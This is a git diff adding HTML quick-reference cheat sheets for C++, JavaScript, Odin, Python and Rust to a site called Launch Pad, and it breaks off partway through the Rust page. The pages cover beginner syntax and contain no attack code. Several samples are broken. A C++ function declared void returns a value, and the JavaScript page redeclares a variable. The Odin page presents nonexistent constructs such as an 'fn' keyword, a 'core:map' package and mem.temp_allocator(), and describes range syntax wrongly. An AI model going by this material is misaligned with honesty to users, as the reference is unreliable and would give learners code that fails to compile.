+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

C++ Quickstart Reference

+
+
+
+
+
+
+

← Back to quick reference

+

← Home

+
+

Quick reference guide for C++. Essential syntax, memory management, STL containers, and common patterns for systems programming.

+
+

Hello World

+
#include <iostream>
+
+int main() {
+    std::cout << "Hello, World!" << std::endl;  // Standard output
+    return 0;
+}
+
+

Variables

+
int x = 42;                 // integer
+double pi = 3.14;           // floating point
+std::string name = "Alice"; // string class
+bool flag = true;           // boolean
+char c = 'A';               // character
+
+// Type modifiers
+unsigned int u = 100;       // Unsigned
+long long big = 1000000;    // Long integer
+float f = 3.14f;            // Single precision
+
+// Auto type deduction (C++11)
+auto y = 42;                // Compiler infers int
+auto text = "Hello";        // Compiler infers const char*
+
+
+

Control Flow

+

If/Else

+
if (x > 10) {
+    std::cout << "x is big\n";
+} else {
+    std::cout << "x is small\n";
+}
+
+if (x > 10) {
+    std::cout << "big\n";
+} else if (x > 5) {
+    std::cout << "medium\n";
+} else {
+    std::cout << "small\n";
+}
+
+// Ternary operator
+int result = (x > 10) ? 100 : 0;
+
+

Switch

+
switch (x) {
+    case 10:
+        std::cout << "ten\n";
+        break;
+    case 20:
+        std::cout << "twenty\n";
+        break;
+    default:
+        std::cout << "other\n";
+}
+
+

For Loops

+
// Traditional for loop
+for (int i = 0; i < 5; i++) {
+    std::cout << i << "\n";
+}
+
+// Range-based for loop (C++11)
+int nums[] = {1, 2, 3};
+for (int n : nums) {
+    std::cout << n << "\n";
+}
+
+std::vector<int> vec = {4, 5, 6};
+for (int n : vec) {
+    std::cout << n << "\n";
+}
+
+// With auto
+for (auto n : vec) {
+    std::cout << n << "\n";
+}
+
+

While Loops

+
while (x > 0) {
+    x--;
+    std::cout << x << "\n";
+}
+
+// Do...while
+do {
+    x--;
+} while (x > 0);
+
+
+

Functions

+
int add(int a, int b) {
+    return a + b;
+}
+
+std::cout << add(2, 3) << "\n";
+
+// Function overloading
+int add(int a, int b) {
+    return a + b;
+}
+
+double add(double a, double b) {
+    return a + b;
+}
+
+// Default parameters
+void greet(std::string name = "World") {
+    std::cout << "Hello, " << name << "\n";
+}
+
+// Pass by reference
+void increment(int& x) {
+    x++;
+}
+
+// Pass by pointer
+void setValue(int* ptr, int value) {
+    *ptr = value;
+}
+
+
+

Arrays / Vectors

+

Arrays

+
int nums[] = {1, 2, 3};               // Fixed-size array
+int arr[5] = {1, 2, 3, 4, 5};         // Explicit size
+
+for (int n : nums) {
+    std::cout << n << "\n";
+}
+
+// Array size
+int size = sizeof(nums) / sizeof(nums[0]);
+
+

Vectors

+
#include <vector>
+
+std::vector<int> vec = {4, 5, 6};     // Dynamic array
+vec.push_back(7);                     // Add to end
+vec.pop_back();                        // Remove from end
+vec.size();                            // Size
+vec[0];                                // Access by index
+vec.at(0);                             // Safe access (throws if out of bounds)
+
+// Iterate
+for (auto it = vec.begin(); it != vec.end(); ++it) {
+    std::cout << *it << "\n";
+}
+
+// Range-based for
+for (int n : vec) {
+    std::cout << n << "\n";
+}
+
+

Other STL Containers

+
#include <string>
+#include <map>
+#include <set>
+#include <unordered_map>
+
+// String
+std::string str = "Hello";
+str.length();
+str += " World";
+str.substr(0, 5);
+
+// Map
+std::map<std::string, int> person;
+person["age"] = 30;
+person["name"];  // Access (creates if doesn't exist)
+
+// Set
+std::set<int> numbers = {1, 2, 3};
+numbers.insert(4);
+numbers.find(2);  // Returns iterator
+
+// Unordered map (hash map)
+std::unordered_map<std::string, int> hash_map;
+hash_map["key"] = 42;
+
+
+

Input

+
std::string input_name;
+std::cout << "Enter your name: ";
+std::cin >> input_name;              // Whitespace-delimited
+std::cout << "Hello " << input_name << "\n";
+
+// Full line input
+std::string full_line;
+std::cout << "Enter a line: ";
+std::getline(std::cin, full_line);    // Reads entire line
+std::cout << "You entered: " << full_line << "\n";
+
+// Number input
+int number;
+std::cout << "Enter a number: ";
+std::cin >> number;
+std::cout << "You entered: " << number << "\n";
+
+
+

Pointers & References

+
int x = 42;
+int* ptr = &x;           // Pointer to x
+int& ref = x;            // Reference to x
+
+*ptr = 100;               // Dereference pointer
+ref = 200;                // Modify through reference
+
+// Null pointer
+int* null_ptr = nullptr;  // C++11 (prefer over NULL)
+
+// Dynamic allocation (avoid if possible)
+int* dynamic = new int(42);
+delete dynamic;           // Must delete what you new
+
+// Smart pointers (preferred)
+#include <memory>
+std::unique_ptr<int> smart = std::make_unique<int>(42);
+// Automatically deleted when out of scope
+
+
+

Classes

+
class Person {
+private:
+    std::string name;
+    int age;
+
+public:
+    // Constructor
+    Person(std::string n, int a) : name(n), age(a) {}
+    
+    // Getter
+    std::string getName() const {
+        return name;
+    }
+    
+    // Setter
+    void setAge(int a) {
+        age = a;
+    }
+    
+    // Method
+    void greet() const {
+        std::cout << "Hello, I'm " << name << "\n";
+    }
+};
+
+Person person("Alice", 30);
+person.greet();
+
+
+

File Operations

+
#include <fstream>
+
+// Reading
+std::ifstream file("file.txt");
+std::string line;
+while (std::getline(file, line)) {
+    std::cout << line << "\n";
+}
+file.close();
+
+// Writing
+std::ofstream out("file.txt");
+out << "Hello, World!\n";
+out.close();
+
+// Check if file opened
+if (file.is_open()) {
+    // File operations
+} else {
+    std::cerr << "Failed to open file\n";
+}
+
+
+

Error Handling

+
#include <stdexcept>
+
+// Throwing exceptions
+void divide(int a, int b) {
+    if (b == 0) {
+        throw std::runtime_error("Division by zero");
+    }
+    return a / b;
+}
+
+// Catching exceptions
+try {
+    int result = divide(10, 0);
+} catch (const std::exception& e) {
+    std::cerr << "Error: " << e.what() << "\n";
+}
+
+
+

Tips

+
    +
  • Always prefer stack allocation (int x;) over new/delete unless necessary.
  • +
+
    +
  • If you must allocate dynamically, use smart pointers (std::unique_ptr, std::shared_ptr) to avoid leaks.
  • +
+
    +
  • Remember to #include necessary headers (<iostream>, <vector>, <string>).
  • +
+
    +
  • Use RAII (Resource Acquisition Is Initialization) to manage resources safely.
  • +
+
    +
  • std::cin input is whitespace-delimited; use std::getline() for full lines.
  • +
+
    +
  • Watch for buffer overflows with arrays; prefer std::vector or std::string.
  • +
+
    +
  • C++ variables are strongly typed; type conversions are explicit.
  • +
+
    +
  • Use const for values that shouldn't change; const correctness is important.
  • +
+
    +
  • Prefer range-based for loops (for (auto x : container)) when possible.
  • +
+
    +
  • Use auto for type deduction when the type is obvious from context.
  • +
+
    +
  • Initialize variables; uninitialized variables contain garbage values.
  • +
+
    +
  • Use references (&) instead of pointers when you don't need null or reassignment.
  • +
+
    +
  • Prefer standard library containers (std::vector, std::string) over C-style arrays.
  • +
+
    +
  • Use nullptr instead of NULL or 0 for null pointers (C++11).
  • +
+
+
+
+
+ + + + + diff --git a/quickref/index.html b/quickref/index.html new file mode 100644 index 0000000..d57d2dd --- /dev/null +++ b/quickref/index.html @@ -0,0 +1,63 @@ + + + + + + + + + + + Quick Reference - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +/ \ / \_ _____/\______ \/ _____/| \__ ___/\_ _____/ +\ \/\/ /| __)_ | | _/\_____ \ | | | | | __)_ + \ / | \ | | \/ \| | | | | \ + \__/\ / /_______ / |______ /_______ /|___| |____| /_______ / + \/ \/ \/ \/ \/ + +
+
+
+ + + +

Quick Reference

+
+
+
+

+ Quick reference guides for programming languages and frameworks.
+ Syntax, examples, and common patterns at a glance. +

+ +
+
+

Bash

+

Quickstart reference for Bash. Essential syntax, control flow, variables, arrays, and common patterns for shell scripting.

+
+
+

Python

+

Quickstart reference for Python. Syntax, control flow, data structures, and essential tips.

+
+
+
+ + + + diff --git a/quickref/javascript.html b/quickref/javascript.html new file mode 100644 index 0000000..b12c32c --- /dev/null +++ b/quickref/javascript.html @@ -0,0 +1,414 @@ + + + + + + + + + + + JavaScript Quickstart Reference - Quick Reference - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

JavaScript Quickstart Reference

+
+
+
+
+
+
+

← Back to quick reference

+

← Home

+
+

Quick reference guide for JavaScript. Essential syntax, control flow, data structures, and common patterns for web development and Node.js.

+
+

Hello World

+
console.log("Hello, World!");  // Basic output
+
+

Variables

+
let x = 42;            // Mutable variable
+const name = "Alice";   // Immutable
+let flag = true;        // Boolean
+var old = "deprecated"; // Avoid var, use let/const
+
+// Multiple declarations
+let a = 1, b = 2, c = 3;
+
+// Destructuring
+let [x, y] = [1, 2];
+let {name, age} = {name: "Alice", age: 30};
+
+
+

Control Flow

+

If/Else

+
if (x > 10) {
+    console.log("x is big");
+} else {
+    console.log("x is small");
+}
+
+if (x > 10) {
+    console.log("big");
+} else if (x > 5) {
+    console.log("medium");
+} else {
+    console.log("small");
+}
+
+// Ternary operator
+let result = x > 10 ? "big" : "small";
+
+// Switch
+switch (x) {
+    case 10:
+        console.log("ten");
+        break;
+    case 20:
+        console.log("twenty");
+        break;
+    default:
+        console.log("other");
+}
+
+

For Loops

+
// Traditional for loop
+for (let i = 0; i < 5; i++) {
+    console.log(i);
+}
+
+// For...of (arrays, strings)
+let nums = [1, 2, 3];
+for (let n of nums) {
+    console.log(n);
+}
+
+// For...in (object keys)
+let person = {name: "Alice", age: 30};
+for (let key in person) {
+    console.log(key, person[key]);
+}
+
+// Array methods
+nums.forEach(n => console.log(n));
+nums.forEach((n, i) => console.log(i, n));
+
+

While Loops

+
while (x > 0) {
+    x--;
+    console.log(x);
+}
+
+// Do...while
+do {
+    x--;
+} while (x > 0);
+
+
+

Functions

+
// Function declaration
+function add(a, b) {
+    return a + b;
+}
+
+console.log(add(2, 3));
+
+// Function expression
+const subtract = function(a, b) {
+    return a - b;
+};
+
+// Arrow functions
+const multiply = (a, b) => {
+    return a * b;
+};
+
+const divide = (a, b) => a / b;  // Implicit return
+
+// Default parameters
+function greet(name = "World") {
+    return `Hello, ${name}!`;
+}
+
+// Rest parameters
+function sum(...numbers) {
+    return numbers.reduce((a, b) => a + b, 0);
+}
+
+
+

Arrays / Objects

+

Arrays

+
let nums = [1, 2, 3];
+nums.forEach(n => console.log(n));
+
+// Array methods
+nums.push(4);           // Add to end
+nums.pop();             // Remove from end
+nums.unshift(0);        // Add to beginning
+nums.shift();           // Remove from beginning
+nums.length             // Length
+nums[0]                 // Access by index
+nums.slice(1, 3)         // Slice (non-mutating)
+nums.splice(1, 1)        // Remove/insert (mutating)
+
+// Array methods (functional)
+nums.map(n => n * 2)    // Transform
+nums.filter(n => n > 1) // Filter
+nums.reduce((a, b) => a + b, 0)  // Reduce
+nums.find(n => n > 1)    // Find first match
+nums.some(n => n > 5)    // Any match
+nums.every(n => n > 0)   // All match
+
+

Objects

+
let person = {name: "Alice", age: 30};
+console.log(person.name);
+console.log(person["name"]);
+
+// Object methods
+person.greet = function() {
+    return `Hello, I'm ${this.name}`;
+};
+
+// Object literal with method shorthand
+let person = {
+    name: "Alice",
+    age: 30,
+    greet() {
+        return `Hello, I'm ${this.name}`;
+    }
+};
+
+// Object destructuring
+let {name, age} = person;
+let {name: n, age: a} = person;  // Rename
+
+// Spread operator
+let person2 = {...person, age: 31};
+
+

Maps and Sets

+
// Map
+let map = new Map();
+map.set("name", "Alice");
+map.set("age", 30);
+map.get("name");
+map.has("name");
+map.delete("name");
+
+// Set
+let set = new Set([1, 2, 3]);
+set.add(4);
+set.has(3);
+set.delete(2);
+set.size
+
+
+

Strings

+
let text = "Hello, World!";
+let template = `Hello, ${name}!`;  // Template literal
+
+// String methods
+text.length
+text.toUpperCase()
+text.toLowerCase()
+text.substring(0, 5)
+text.slice(0, 5)
+text.split(",")
+text.replace("World", "JavaScript")
+text.includes("Hello")
+text.startsWith("Hello")
+text.endsWith("!")
+
+
+

Classes

+
class Person {
+    constructor(name, age) {
+        this.name = name;
+        this.age = age;
+    }
+    
+    greet() {
+        return `Hello, I'm ${this.name}`;
+    }
+}
+
+let person = new Person("Alice", 30);
+console.log(person.greet());
+
+// Inheritance
+class Student extends Person {
+    constructor(name, age, grade) {
+        super(name, age);
+        this.grade = grade;
+    }
+}
+
+
+

Promises & Async/Await

+
// Promises
+let promise = new Promise((resolve, reject) => {
+    setTimeout(() => resolve("Done!"), 1000);
+});
+
+promise.then(result => console.log(result))
+       .catch(error => console.error(error));
+
+// Async/await
+async function fetchData() {
+    try {
+        let response = await fetch("https://api.example.com/data");
+        let data = await response.json();
+        return data;
+    } catch (error) {
+        console.error("Error:", error);
+    }
+}
+
+// Promise.all
+let promises = [promise1, promise2, promise3];
+Promise.all(promises).then(results => {
+    console.log(results);
+});
+
+
+

Error Handling

+
try {
+    let result = riskyOperation();
+} catch (error) {
+    console.error("Error:", error.message);
+} finally {
+    console.log("Always runs");
+}
+
+// Throwing errors
+function divide(a, b) {
+    if (b === 0) {
+        throw new Error("Division by zero");
+    }
+    return a / b;
+}
+
+
+

Modules (ES6)

+
// Export
+export function add(a, b) {
+    return a + b;
+}
+
+export const PI = 3.14159;
+
+export default class Calculator {
+    // ...
+}
+
+// Import
+import { add, PI } from "./math.js";
+import Calculator from "./calculator.js";
+import * as math from "./math.js";
+
+
+

Node.js Basics

+
// File system
+const fs = require("fs");
+
+// Reading
+fs.readFile("file.txt", "utf8", (err, data) => {
+    if (err) throw err;
+    console.log(data);
+});
+
+// Writing
+fs.writeFile("file.txt", "Hello, World!", (err) => {
+    if (err) throw err;
+});
+
+// Promises (fs/promises)
+const fs = require("fs/promises");
+let data = await fs.readFile("file.txt", "utf8");
+
+// Readline (user input)
+const readline = require("readline");
+const rl = readline.createInterface({
+    input: process.stdin,
+    output: process.stdout
+});
+
+rl.question("What's your name? ", (answer) => {
+    console.log(`Hello, ${answer}!`);
+    rl.close();
+});
+
+
+

Tips

+
    +
  • Variables: let mutable, const immutable. Avoid var.
  • +
+
    +
  • prompt() (browser) or readline (Node.js) can handle user input.
  • +
+
    +
  • JS is dynamically typed; type coercion can surprise you. Use === for strict equality.
  • +
+
    +
  • Arrays are zero-indexed; objects are key-value maps.
  • +
+
    +
  • Functions are first-class and can be anonymous or arrow-style.
  • +
+
    +
  • Use const by default, let when reassignment is needed.
  • +
+
    +
  • Template literals (backticks) allow string interpolation: `Hello, ${name}!`.
  • +
+
    +
  • Arrow functions preserve this from enclosing scope; regular functions have their own this.
  • +
+
    +
  • Use array methods (map, filter, reduce) for functional programming patterns.
  • +
+
    +
  • Destructuring works with arrays and objects for cleaner code.
  • +
+
    +
  • Use async/await for cleaner asynchronous code than promise chains.
  • +
+
    +
  • null is intentional absence of value; undefined is uninitialized.
  • +
+
    +
  • Use === and !== instead of == and != to avoid type coercion surprises.
  • +
+
+
+
+
+ + + + + diff --git a/quickref/odin.html b/quickref/odin.html new file mode 100644 index 0000000..bb56d40 --- /dev/null +++ b/quickref/odin.html @@ -0,0 +1,415 @@ + + + + + + + + + + + Odin Quickstart Reference - Quick Reference - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

Odin Quickstart Reference

+
+
+
+
+
+
+

← Back to quick reference

+

← Home

+
+

Quick reference guide for Odin. Essential syntax, types, control flow, and common patterns for the Odin programming language.

+
+

Hello World

+
package main
+
+import "core:fmt"
+
+main :: proc() {
+    fmt.println("Hello, World!")  // Odin keeps it clean and readable.
+}
+
+

Variables

+
x: int = 42
+name: string = "Alice"
+flag: bool = true
+pi: f64 = 3.14
+
+// Type inference with :=
+y := 100              // Compiler infers int
+text := "Hello"       // Compiler infers string
+
+// Multiple declarations
+a, b, c: int = 1, 2, 3
+
+
+

Control Flow

+

If/Else

+
if x > 10 {
+    fmt.println("x is big")
+} else {
+    fmt.println("x is small")
+}
+
+if x > 10 {
+    fmt.println("big")
+} else if x > 5 {
+    fmt.println("medium")
+} else {
+    fmt.println("small")
+}
+
+// If as expression
+result := "big" if x > 10 else "small"
+
+

For Loops

+
for i in 0..5 {          // 0 to 4, exclusive
+    fmt.println(i)
+}
+
+for i in 0..=5 {        // 0 to 5, inclusive
+    fmt.println(i)
+}
+
+nums := []int{1, 2, 3}
+for n in nums {
+    fmt.println(n)
+}
+
+for n, i in nums {      // Value and index
+    fmt.printf("%d: %d\n", i, n)
+}
+
+// Traditional C-style
+for i := 0; i < 5; i += 1 {
+    fmt.println(i)
+}
+
+

While Loops

+
y := 10
+for y > 0 {
+    y -= 1
+    fmt.println(y)
+}
+
+// Infinite loop
+for {
+    if y <= 0 {
+        break
+    }
+    y -= 1
+}
+
+
+

Functions

+
add := fn(a: int, b: int) -> int {
+    return a + b
+}
+
+fmt.println(add(2, 3))
+
+// Named function
+add :: proc(a: int, b: int) -> int {
+    return a + b
+}
+
+// Multiple return values
+divide :: proc(a: f64, b: f64) -> (f64, bool) {
+    if b == 0 {
+        return 0, false
+    }
+    return a / b, true
+}
+
+result, ok := divide(10.0, 2.0)
+if ok {
+    fmt.println(result)
+}
+
+// Procedures (no return value)
+greet :: proc(name: string) {
+    fmt.printf("Hello, %s!\n", name)
+}
+
+
+

Arrays / Slices

+

Slices

+
nums: []int = [1, 2, 3]  // Slice literal, mutable and resizable
+for n in nums {
+    fmt.println(n)
+}
+
+// Append to slice
+append(&nums, 4)
+append(&nums, 5, 6)
+
+// Length and capacity
+len(nums)               // Current length
+cap(nums)               // Capacity
+
+// Make slice with capacity
+nums := make([]int, 0, 10)  // Length 0, capacity 10
+
+

Arrays

+
arr: [3]int = {1, 2, 3}  // Fixed-size array
+arr := [3]int{1, 2, 3}   // Shorthand
+
+// Array size inference
+arr := [?]int{1, 2, 3}   // Compiler infers size 3
+
+

Maps

+
import "core:map"
+
+person := make(map[string]string)
+map.set(&person, "name", "Alice")
+map.set(&person, "age", "30")
+
+name, found := map.get(&person, "name")
+if found {
+    fmt.println(name)
+}
+
+// Map literal
+person := map[string]string{
+    "name" = "Alice",
+    "age"  = "30",
+}
+
+
+

Strings

+
text := "Hello, World!"
+text := `Multiline
+string
+literal`
+
+// String operations
+len(text)                // Length in bytes
+fmt.printf("%s\n", text) // Print formatted
+
+// String concatenation
+greeting := "Hello, " + name
+
+// String formatting
+name := "Alice"
+greeting := fmt.tprintf("Hello, %s!", name)
+
+
+

Structs

+
Person :: struct {
+    name: string,
+    age:  int,
+}
+
+person := Person{
+    name = "Alice",
+    age  = 30,
+}
+
+fmt.printf("%s is %d\n", person.name, person.age)
+
+// Methods
+Person :: struct {
+    name: string,
+    age:  int,
+}
+
+greet :: proc(p: Person) {
+    fmt.printf("Hello, I'm %s\n", p.name)
+}
+
+person := Person{name = "Alice", age = 30}
+greet(person)
+
+
+

Enums

+
Direction :: enum {
+    Up,
+    Down,
+    Left,
+    Right,
+}
+
+dir := Direction.Up
+
+switch dir {
+case .Up:
+    fmt.println("Going up")
+case .Down:
+    fmt.println("Going down")
+case .Left:
+    fmt.println("Going left")
+case .Right:
+    fmt.println("Going right")
+}
+
+
+

Unions

+
Value :: union {
+    int,
+    f64,
+    string,
+}
+
+v: Value = 42
+v = 3.14
+v = "hello"
+
+switch v in v {
+case int:
+    fmt.printf("Integer: %d\n", v)
+case f64:
+    fmt.printf("Float: %f\n", v)
+case string:
+    fmt.printf("String: %s\n", v)
+}
+
+
+

Error Handling

+
import "core:fmt"
+
+// Using optional types
+divide :: proc(a: f64, b: f64) -> (result: f64, ok: bool) {
+    if b == 0 {
+        return 0, false
+    }
+    return a / b, true
+}
+
+result, ok := divide(10.0, 2.0)
+if ok {
+    fmt.printf("Result: %f\n", result)
+} else {
+    fmt.println("Division by zero")
+}
+
+// Using error types
+Error :: enum {
+    None,
+    Division_By_Zero,
+    Invalid_Input,
+}
+
+divide :: proc(a: f64, b: f64) -> (f64, Error) {
+    if b == 0 {
+        return 0, .Division_By_Zero
+    }
+    return a / b, .None
+}
+
+
+

File Operations

+
import "core:os"
+import "core:fmt"
+
+// Reading
+data, ok := os.read_entire_file("file.txt")
+if ok {
+    fmt.println(string(data))
+}
+
+// Writing
+content := "Hello, World!"
+os.write_entire_file("file.txt", transmute([]u8)content)
+
+
+

Memory Management

+
import "core:mem"
+
+// Allocators
+allocator := context.allocator
+
+// Allocate memory
+ptr := new(int)
+ptr^ = 42
+
+// Free memory
+free(ptr)
+
+// Using different allocators
+temp_allocator := mem.temp_allocator()
+
+
+

Tips

+
    +
  • Odin is strongly typed; type declarations are explicit.
  • +
+
    +
  • Loops often use ranges like 0..5 (exclusive of 5); use 0..=5 for inclusive.
  • +
+
    +
  • fmt.scanf or read_string can handle user input: +
    import "core:fmt"
    +import "core:os"
    +
    +input: [256]u8
    +n, _ := os.read(os.stdin, input[:])
    +text := string(input[:n])
    +
  • +
+
    +
  • Slices ([]Type) are dynamic arrays, arrays ([N]Type) are fixed-size.
  • +
+
    +
  • Functions are first-class and can be assigned to variables.
  • +
+
    +
  • Use := for type inference, : for explicit typing.
  • +
+
    +
  • Procedures (proc) are functions; use fn for function values.
  • +
+
    +
  • Multiple return values are common; use tuples or named returns.
  • +
+
    +
  • Use ^ to dereference pointers, & to take addresses.
  • +
+
    +
  • Odin uses explicit memory management; understand allocators for advanced usage.
  • +
+
    +
  • Struct literals use = for field assignment: Person{name = "Alice"}.
  • +
+
    +
  • Use switch for pattern matching on enums and unions.
  • +
+
    +
  • Import packages with import "package:name"; core library uses "core:" prefix.
  • +
+
+
+
+
+ + + + + diff --git a/quickref/python.html b/quickref/python.html new file mode 100644 index 0000000..9ce4124 --- /dev/null +++ b/quickref/python.html @@ -0,0 +1,239 @@ + + + + + + + + + + + Python Quickstart Reference - Quick Reference - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +/ \ / \_ _____/\______ \/ _____/| \__ ___/\_ _____/ +\ \/\/ /| __)_ | | _/\_____ \ | | | | | __)_ + \ / | \ | | \/ \| | | | | \ + \__/\ / /_______ / |______ /_______ /|___| |____| /_______ / + \/ \/ \/ \/ \/ + +
+
+
+ + + +

Python Quickstart Reference

+
+
+
+
+
+
+

← Back to quick reference

+

← Home

+
+

Quick reference guide for Python. Essential syntax, control flow, data structures, and common patterns.

+
+

Hello World

+
print("Hello, World!")  # The universal programmer's rite of passage.
+
+

Variables

+
x = 42          # integer
+name = "Alice"  # string
+flag = True     # boolean
+pi = 3.14       # float
+
+
+

Control Flow

+

If/Else

+
if x > 10:               # Colon is mandatory; indentation rules supreme
+    print("x is big")    
+else:
+    print("x is small")
+
+if x > 10:
+    print("big")
+elif x > 5:
+    print("medium")
+else:
+    print("small")
+
+

For Loops

+
for i in range(5):       # i goes from 0 to 4
+    print(i)
+
+for item in [1, 2, 3]:   # Iterate over list
+    print(item)
+
+for i in range(0, 10, 2):  # Start, stop, step
+    print(i)                # Prints 0, 2, 4, 6, 8
+
+

While Loops

+
while x > 0:             # Beware infinite loops
+    x -= 1
+    print(x)
+
+
+

Functions

+
def add(a, b):           # 'def' starts the function
+    return a + b
+
+print(add(2, 3))         # Call a function with parentheses
+
+def greet(name="World"): # Default parameter
+    return f"Hello, {name}!"
+
+greet()                  # Uses default
+greet("Alice")           # Overrides default
+
+
+

Lists / Dictionaries

+

Lists

+
nums = [1, 2, 3]         # Lists are ordered, mutable
+for n in nums:           
+    print(n)
+
+nums.append(4)           # Add to end
+nums.insert(0, 0)        # Insert at index
+nums.pop()               # Remove and return last item
+nums[0]                  # Access by index
+nums[-1]                 # Last item (negative indexing)
+nums[1:3]                # Slice: items 1 to 2 (not 3)
+
+

Dictionaries

+
person = {"name": "Alice", "age": 30}  # Key-value mapping
+print(person["name"])                    # Access via keys
+person["city"] = "NYC"                   # Add new key-value
+person.get("name")                       # Safe access (returns None if missing)
+person.get("phone", "N/A")               # With default value
+
+for key, value in person.items():        # Iterate over key-value pairs
+    print(f"{key}: {value}")
+
+

Tuples

+
point = (3, 4)           # Immutable ordered collection
+x, y = point             # Unpacking
+
+

Sets

+
unique = {1, 2, 3}       # Unordered collection of unique items
+unique.add(4)            # Add item
+unique.remove(2)         # Remove item
+
+
+

String Operations

+
text = "Hello, World!"
+text.upper()             # "HELLO, WORLD!"
+text.lower()             # "hello, world!"
+text.split(",")          # ["Hello", " World!"]
+text.replace("World", "Python")  # "Hello, Python!"
+f"Value: {x}"            # f-string formatting
+"Value: {}".format(x)    # .format() method
+
+
+

List Comprehensions

+
squares = [x**2 for x in range(10)]           # [0, 1, 4, 9, 16, ...]
+evens = [x for x in range(10) if x % 2 == 0] # [0, 2, 4, 6, 8]
+
+
+

Error Handling

+
try:
+    result = 10 / 0
+except ZeroDivisionError:
+    print("Can't divide by zero!")
+except Exception as e:
+    print(f"Error: {e}")
+finally:
+    print("This always runs")
+
+
+

File Operations

+
# Reading
+with open("file.txt", "r") as f:
+    content = f.read()
+    lines = f.readlines()
+
+# Writing
+with open("file.txt", "w") as f:
+    f.write("Hello, World!")
+
+# Appending
+with open("file.txt", "a") as f:
+    f.write("New line\n")
+
+
+

Classes

+
class Person:
+    def __init__(self, name, age):
+        self.name = name
+        self.age = age
+    
+    def greet(self):
+        return f"Hello, I'm {self.name}"
+
+person = Person("Alice", 30)
+print(person.greet())
+
+
+

Tips

+
    +
  • Indentation *is* syntax — Python hates lazy spacing.
  • +
+
    +
  • input() always returns a string; convert to int/float if needed: +
    age = int(input("How old are you? "))
    +
  • +
+
    +
  • Python is dynamically typed: flexible, but watch out for sneaky type errors.
  • +
+
    +
  • Everything is an object, even functions and classes.
  • +
+
    +
  • range(5) goes 0..4, not 5 — the Pythonic gotcha.
  • +
+
    +
  • Use with statements for file operations — automatic cleanup.
  • +
+
    +
  • List comprehensions are faster and more Pythonic than loops for simple transformations.
  • +
+
    +
  • Use enumerate() when you need both index and value: +
    for i, item in enumerate(items):
    +    print(f"{i}: {item}")
    +
  • +
+
    +
  • Use zip() to iterate over multiple lists simultaneously: +
    for name, age in zip(names, ages):
    +    print(f"{name} is {age}")
    +
  • +
+
    +
  • Import modules with import module or specific functions with from module import function.
  • +
+
+
+
+
+ + + + + diff --git a/quickref/rust.html b/quickref/rust.html new file mode 100644 index 0000000..ad75256 --- /dev/null +++ b/quickref/rust.html @@ -0,0 +1,372 @@ + + + + + + + + + + + Rust Quickstart Reference - Quick Reference - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

Rust Quickstart Reference

+
+
+
+
+
+
+

← Back to quick reference

+

← Home

+
+

Quick reference guide for Rust. Essential syntax, ownership, borrowing, and common patterns.

+
+

Hello World

+
fn main() {
+    println!("Hello, World!");  // Semicolons required; braces define scope
+}
+
+

Variables

+
let x: i32 = 42;       // Immutable by default
+let mut y: i32 = 10;   // Mutable
+let name: &str = "Alice";
+let flag: bool = true;
+let pi: f64 = 3.14;    // Floating point
+
+// Type inference
+let z = 100;            // Compiler infers i32
+let text = "Hello";     // &str
+
+
+

Control Flow

+

If/Else

+
if x > 10 {
+    println!("x is big");
+} else {
+    println!("x is small");
+}
+
+if x > 10 {
+    println!("big");
+} else if x > 5 {
+    println!("medium");
+} else {
+    println!("small");
+}
+
+// If as expression
+let result = if x > 10 { "big" } else { "small" };
+
+

For Loops

+
for i in 0..5 {         // 0 to 4 (exclusive)
+    println!("{}", i);
+}
+
+for i in 0..=5 {        // 0 to 5 (inclusive)
+    println!("{}", i);
+}
+
+let nums = vec![1, 2, 3];
+for n in &nums {        // Borrow reference
+    println!("{}", n);
+}
+
+for (i, n) in nums.iter().enumerate() {
+    println!("{}: {}", i, n);
+}
+
+

While Loops

+
while y > 0 {
+    y -= 1;
+    println!("{}", y);
+}
+
+// Loop with break
+loop {
+    if y <= 0 {
+        break;
+    }
+    y -= 1;
+}
+
+
+

Functions

+
fn add(a: i32, b: i32) -> i32 {
+    a + b                  // Expression returns value (no semicolon)
+}
+
+println!("{}", add(2, 3));
+
+// Explicit return
+fn subtract(a: i32, b: i32) -> i32 {
+    return a - b;           // Semicolon required with return
+}
+
+// Unit type (no return value)
+fn greet() {
+    println!("Hello!");
+}
+
+
+

Vectors / HashMaps

+

Vectors

+
let nums = vec![1, 2, 3];   // Dynamic array
+for n in &nums {
+    println!("{}", n);
+}
+
+let mut vec = Vec::new();
+vec.push(1);
+vec.push(2);
+vec.pop();                  // Remove and return last item
+vec[0]                      // Access by index
+vec.len()                   // Length
+
+

HashMaps

+
use std::collections::HashMap;
+
+let mut person = HashMap::new();
+person.insert("name", "Alice");
+person.insert("age", "30");
+println!("{}", person["name"]);
+
+// Safe access
+match person.get("name") {
+    Some(value) => println!("{}", value),
+    None => println!("Not found"),
+}
+
+// Or use unwrap_or
+let name = person.get("name").unwrap_or(&"Unknown");
+
+

Arrays

+
let arr = [1, 2, 3];        // Fixed-size array
